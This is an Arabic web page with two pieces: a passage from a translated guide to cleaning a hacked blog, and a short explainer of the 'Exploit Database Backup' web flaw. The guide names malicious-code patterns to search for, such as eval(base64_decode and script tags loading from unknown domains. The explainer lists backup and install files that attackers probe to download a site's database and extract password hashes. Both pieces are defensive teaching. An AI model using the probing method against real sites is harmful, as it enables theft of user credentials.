5- قم بتفتيش كل الملفات التي اخذتها. ابحث عن اجزاء تبدو مشبوهة مثل(eval(base64_decode “متبوعة بمجموعة من الارقام و الاحرف غير المقروءة“، او اي نصوص من مجالات لا تعرفها ( مثل > s cript src = ” http://[unknowndomainname] / scriptname.php,< تشويش Base64 هي الطريقة المفضلة لمجرمي الويب لاخفاء الأكواد الضارة. مع ذلك فانه ايضا يستخدم من قبل مصممي السمات المرئية لحماية الاشعارات من التغيير، لذا اذا وجدت نص مشفر بكود base64 ، ليس من الضروري ان يكون ضاراً. يجب عليك المقارنة بين السمة المرئية الخاصة بك و تلك المعدلة – اذا لم يكن هناك كود Base64 في النسخة الاولية، يجب عليك تنظيفها من الملف المعدل.
6- قم بتفتيش قاعدة البيانات الخاصة بك جدولاً بجدول للبحث عن حسابات ادارية غير معروفة، و التي يمكن ان تكون قد ادخلت مباشرة في قاعدة بياناتك.- اذا وجدت اي حساب لم يتم انشاؤه من قبلك، قم بالغاءه فوراً. قم ايضاً بالبحث عن تحويلات Javascript و التي كان من الممكن ادخالها في مشاركات المدونة،. في العادة، محرّرات WYSIWYG لا تقوم باخراج كود Javascript في مشاركات المدونة، مما يسهل عليك البحث.
7- قم بتنظيف حساب المضيف من خلال قم بمحي تثبيت المدونة بالكامل ولتأكد من أنّك لم تترك اي ملفات غير ضرورية. كلما قَلّتِ الملفات، كان ذلك أكثر اماناً. قم بالغاء قاعدة البيانات و استعادة النسخة التي تمتلكها و التي قمت بالتحقّق منها يدوياً.
8- قم بتنزيل نسخة من نص مدونتك من مستودع رسمي و قم بتحميل الملفات على الخادم. ربما ترغب في التحقق من ارشيف MD5 بالمقارنة مع نصوص الموقع الرسمي. من الضروري ان تقوم باستخدام احدث اصدار من نصوص المدونة بشكل دائم. قم بتعديل ملف التكوين لتعكس بيئة الخادم الخاص بك ( مستخدم SQL، قاعدة بيانات، كلمات مرور، مسار الملف و بقية اعداداتك). أولِ اهتماماً خاصاً بال(Authentication Unique Keys ) أو أي نوع من التمليح وتأكد من انك لا تستخدم القيم الافتراضية.
و كملاحظة جانبية، يمكن تنزيل الكثير من نصوص CMS المدعومة تجارياً من لوحات “warez” ، من دون الحماية التجارية . الرجاء الملاحظة ان استخدام نصوص “فارغة” (من الحماية التّجاريّة) هو خطر للغاية، حيث انها تحتوي بالعادة على كود “ملغوم” (backdoors) مدخل من قبل المتسلل الذي قام باختراق الكود الاصلي ليتمكن من التحكم في الموقع الالكتروني للضحية.
9- تأكد من ان جميع الملفات المحملة من قبلك تحتوي على الصلاحيات الصحيحة. لا تحدد الصلاحيات اعلى من الصلاحيات التي يحتاجها النص ليعمل. اعداد الملفات و المجلدات ل( CHMOD 777) قد يسمح للمهاجم بأن يكتبها و يعيد ادخال كود خبيث عوضاً عنه. اذا لم تكن متأكداً، تحقق من دليل الاستخدام لمعرفة الاعدادات الموصى بها او استفسر عنها. كما من الضروري ان تغير كلمة المرور لمسؤول المدونة وحساب ال FTP. و اذا امكن، قم بتغيير اسم المستخدم من Admin لاسم آخر يصعب اكتشافه.
10- تخلص من ذاكرة التخزين المؤقت لمتصفحك و قم بتوجيهه نحو عنوان موقعك الالكتروني. اذا سار كل شيء على ما يرام، يجب ان يكون لديك مدونة صحيحة و سليمة> اذا لا، تأكد ان ملف .htaccess الموضوع في مكانه في الخطوة رقم 1 تم الغاؤه او استبداله.
11- ابحث عن مدونتك على قوقل عن طريق البحث عن اسمك ا اسم المدونة و التحقق من نتائج البحث. هذه طريقة احتياطية للتأكد ان ان مدونتك نظيفة، لان بعض النصوص الخبيثة تبحث عن التحويلات و تعمل على توجيه الزوّار الذين يستخدمون محرّكات البحث نحو المواقع المصابة (التي تستخدم في الهجمات).
اذا تم اختراق مدونتك على الرغم من اتخاذك كافة الاجراءات لحماية الملفات و اسماء المستخدمين، اذا يجب عليك التحقق اذا كان الخادم يلبي متطلبات نص المدونة. ان التكوينات الضعيفة للخادم، برامج خادم ضعيفة، تثبيتات مدونة غير صحيحة او إضافات تحتوي على ثغرات، هي أسباب رئيسي للاختراق الناجح للموقع. لمنع اي من هذه المشاكل من التأثير على مدونتك، يجب عليك اتخاذ هذه الاجراءات السهلة و لكن فعالة للغاية:
– استخدم فقط نصوص مدونات من مستودعات رسمية. اذا كانت متوفرة مجاناً من المنتج، لماذا تقوم بتحميلها من مكان آخر؟ و ايضاً ابق بعيداً عن النصوص “الفارغة” (Nulled) من خدمات warez – فانت بالاضافة الى كونك تخرق القانون، فانت تقوم بتعريض موقعك للخطر- و ربما خادم الويب باكمله- بسبب وجود تعليمات خبيثة من قبل المتسلل.
– لا تحمل حساب FTP الخاص بك بملفات لست بحاجة اليها. هذا يشمل السمات المرئية و وظائف التوصيل التي لا تستخدمها، و لكن قمت بتحميلها للاختبار. بعض السمات المرئية و وظائف التوصيل قد تكون قابلة للتعرض، لذا فكلما قلت اعدادها، قلت احتمالية اختراق موقعك. بالاضافة ان مدونتك ستحمل بشكل اسرع.
– لا تستخدم أكواد متعددة لنفس عنوان الموقع. لانك ستمنح متسللاً فرصة الاستغلال عن طريق بعض الميزات مثل تحميل نموذج لاستبدال ملف حساس في حسابك و استخدامه للسيطرة على موقعك.
– قم يتكوين و تخزين نسخ احتياطية لقاعدة بيانات SQL بشكل دوري او قم بتثبيت وظيفة توصيل تعمل على ذلك بشكل تلقائي. من المستحسن الاحتفاظ بهذه النسخ الاحتياطية على حساب FTP ثانوي او ان تعمل على ارسالها بالبريد الالكتروني. لا تستخدم نفس حساب FTP لتخزين النسخ الاحتياطية ، لأن أي متسلل يستطيع اختراق النسخ الاختياطية في حال تعرض الموقع للاختراق.
– تأكد بأنك تستخدم كلمات مرور قوية لحساب FTP و حسابات المسؤولين. لا تخبر اي شخص عن كلمة المرور حتى عندما تطلب المساعدة. ان تثبيت حل للحماية من البرامج الخبيثة على جهازك سيكون فكرة جيدة، لان بعض الهجمات الناجحة تمت باستخدام اسماء مستخدمين و كلمات مرور صحيحة تم الحصول عليها عن طريق جاسوس المفاتيح (keyloggers) او احصنة طروادة المراقبة لذاكرة التخزين المؤقت (cache-monitoring Trojans.)
– استخدم مضيف ويب عالي الجودة. بما ان المستضيف الذي يتقاضى اجراً افضل من البدائل المجانية، تأكد من انك تقوم بانفاق نقودك بالطريقة الصحيحة. قم باختيار مستضيف موصى به من قبل موفر نصوص المدونة. تأكد ايضاً من أن مستضيف الويب يوفر لك النسخ الاحتياطي التلقائي اليومي وسجلات الوصول للموقع.
المصدر
هذا المقال مقال مترجم. المترجم روزين جمال. الكاتب الأصلي: بودغان بتيزاتو. من موقع Malware City
http://www.malwarecity.com/blog/blog-hacking-recovery-101-849.html
ملاحظة: ننصح باستخدام SFTP أو SCP كبدائل لحسابات FTP، وذلك لأن المعلومات التي يتمّ نقلها تكون مشفرة على عكس FTP والذي يظهر المعلومات كما هي في حال تم استخدام برامج شمّ للحركة في الشبكة.
نظرة توضيحية Exploit Database Backup
السلام عليكم
في هذه السلسة سأتحدث بشكل نظري عن بعض انواع ثغرات تطبيقات الويب. كفائدة للقارئ والمتابع لهذه المواضيع . فهنالك الكثير من الاستغلالات الذي يتم طرحها و تطبق تطبيق اعمى، دون فهم دينامكية عمل هذا الاستغلال أو ذاك.
والحديث في هذه الجزئية سيكون عن نوع من انواع هذه االاستغلالات المعروف باسم
Exploit Database Backup
هذا النوع من الثغرات بسيط في الاكتشاف وسهل في الاستغلال والتطبيق .
الجميع يعلم ان لكل سكريبت قاعدة بيانات تضم في محتوياتها الاعضاء والمواضيع وكل ما يتعلق في هذا السكريبت
مفهوم هذا الاستغلال تمكن المهاجم من عمل نسخ احتياطي لقاعدة البيانات وتحريرها واستخراج منها قوائم الأعضاء والتي تكون في اغلب الأحيان مشفرة، بأحد أنواع التشفير، مثلاً md5 , md4 ..
واهم الملفات التي يجب تتبعها في هذا الاستغلال:
backup.php
upgrade.php
getbackup.php
update.php
basedb.php
وهي تختلف في اماكن تواجدها بين سكريبت واخر . ومن اهم الملفات التي تتواجد بها
install
sql
backup
admin
دينامكية العمل
يقوم المهاجم بفحص السكريبت لمعرفة مسار قاعدة البيانات وكما ذكرنا سابقا من الممكن ان تتواجد تحت هذه المسميات او ضمن هذه الملفات . بعد اكتشاف مسار القاعدة يتم عمل تحميل للقاعدة، ويتم البحث عن قوائم الاعضاء ليتم بعد ذلك تحريرها واستخراج كلمات المرور.
ومن هذا الباب ننوه على اهمية مسح ملف التنصيب بعد القيام بتنصيب اي سكريبت . حفاظا على سلامة المستخدم .
الكاتب: بندر الحارثي